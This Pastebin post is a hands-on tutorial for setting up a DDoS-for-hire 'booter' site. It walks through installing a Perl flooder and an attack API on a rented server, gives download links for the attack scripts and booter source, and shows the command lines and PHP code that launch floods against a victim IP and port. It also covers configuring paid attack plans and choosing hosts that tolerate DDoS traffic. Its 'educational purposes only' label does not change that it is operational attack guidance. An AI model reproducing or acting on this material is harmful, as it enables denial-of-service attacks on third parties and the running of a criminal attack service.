Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Educational purposes only
- i show you how to make an api on a centos linux vps or dedi, and install a booter, with api integrated to the booter.
- Requirements:
- Putty, Winscp, APIs, centos 6 installed on a vps or a dedicated server(accepting ddos because you could be banned), a webhost for your booter.
- i found these website for your centos server:
- Hostkey
- VpsGet
- Ecatel
- Ampnode
- Blazingfast
- Offshoresrv
- my installation is a dedi on kimsufi (ovh)
- first login to your vps/dedi with putty on your server.
- root/password
- login with winscp to your server.
- go to /root/
- download, extract and upload the 5 files in /root/.
- Code:
- mediafire.com/download/ckx98fryya1f8bg/api_script_auto_install.rar
- go to your putty program and type:
- Code:
- cd /root/
- perl setup.pl
- say yes all the time when it ask for download.
- your api should be installed when finished.
- ssyn.pl is a simple perl flooder.
- Code:
- perl /root/ssyn.pl victimip port sizeofpacket time
- example: perl /root/ssyn.pl 8.8.8.8 80 50000 60
- now, just go to :
- Code:
- yourvpsip/api.php
- and see if it works.
- now we have to add the apikey, the host, the port, the time, and the method.
- Code:
- yourvpsip/api.php?key=apikey&host=victimip&port=80&time=60&method=udp
- try to ddos your own ip by replacing "victimip" by your own ip address and see if u are ddosed :)
- you can also install dstat on your server, and see if your attacks works.
- Code:
- yum install dstat
- dstat --net
- the api is done.
- ------------------------------------
- now you have to make your web booter.
- use notepad++ for editing file on windows.
- Download Booter source gemini (thanks to Zoom):
- Code:
- mediafire.com/download/8bkcdkrjwt5r2ea/source.rar
- find a good webhost or free subdomain with php, mysql, phpmyadmin.
- i use a free webhost at "hostinger" (but they can ban so its your choice)
- create a sql database on your panel and keep the informations "db_host, db_name, db_username, db_server"
- go to the folder sql table (in the rar file downloaded), put sql.sql in your database
- how to do that? just connect to phpmyadmin on your panel and select your database, go to insert and upload sql.sql, then clic execute.
- now go to your booter folder downloaded before and edit /include/db.php with your informations concording to your sql database created before on your panel.
- take the ftp informations of your website (ftp server, ftp user, ftp pass)
- use filezilla or winscp, connect to your ftp account.
- send all the files in the rar file on the root path of your website.
- excepted the folder SQL table which contains the sql database.
- when upload is finished, go to your website URL adress.
- register an account, create a admin user (admin)
- and connect to your booter with login page.
- then , return to your phpmyadmin on the panel.
- go to your database, find "users", find your nickname (created before when registered)
- click modify and put rank from 0 to 1
- it will change your status from user to admin.
- reconnect to your website or just refresh
- you will see "admin" button in the menu.
- click on this, go to plans.
- create a new plan
- plan name: e.g boot plan 1
- description: e.g boot 300sec
- max boot time: 300
- unit: month or whatever u want
- plan lenght: 1 or 2 (month, days ..)
- plan price: 5
- then press add.
- go to "manage users", edit, plan, select your plan 'boot plan 1"
- press update.
- now the most important thing(never explained in all tutorial on HF .. stupid..), is to add your api created on your vps to your website.
- go to admin, servers
- just insert your vps ip + api.php here:
- Code:
- yourvpsip/api.php
- and click addservers.
- go to blacklist, and blacklist 127.0.0.1, yourvpsipadress, and your website ip.
- note: if you want to modify something in the source about api,
- edit hub.php
- api url from booter source(hub.php):
- Code:
- $url = $r["url"]."?key=apikey&host={$host}&port={$port}&time={$time}&method={$method}";
- concording with the api url:
- api source:
- Code:
- pastebin.com/JK1GXFgi
- $r["url"]." will be replaced with your server added before
- key=apikey is the key (not changed in api.php)
- host={$host} is the victim ip (same in api.php)
- port={$port} is the port flooded of victim (same in api.php)
- time={$time} is the time of the attack
- method={$method} is the method
- the method is choosen concording with the source in hub.php and api.php
- hub.php source:
- Code:
- option value="udp">UDP Flood (Only this one work)
- option value="tcp">TCP Flood
- is the method in menu hub.
- value "udp" will change the method value ( {$method} ) who will be replaced in the api url from booter > vps api.
- Biggrin
- you can add more scripts by adding in your api.php a new method with the commandline pointing to a new flood script , but it must be concording with the method on ur website and ur api..
- api.php:
- Code:
- $array = array("udp", "tcp", "stop");// Add you're existing methods here, and delete you're none existent methods.
- $ray = array("apikey");
- ------
- if ($method == "udp") { $command = "screen -dm perl /root/ssyn.pl $host $port 50000 $time"; }
- if ($method == "tcp") { $command = "screen -dm /root/tcp $host 8 300000 $time"; }
- if ($method == "stop") { $command = "pkill $host -f"; }
- now you have to edit 3 files:
- index.php
- admin/sidebar.php
- includes/init.php
- edit the files and search "yourwebsite.com", and replace it by your own website url. dont change the php files in the url
- then try your flood attack
- just click on hub in the menu and send the attack. Pirate
- note: i have not added spoofed script(just a basic perl flooder) because my dedi is not spoofed but i'll make a tutorial on this when i'll have a spoofed server
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement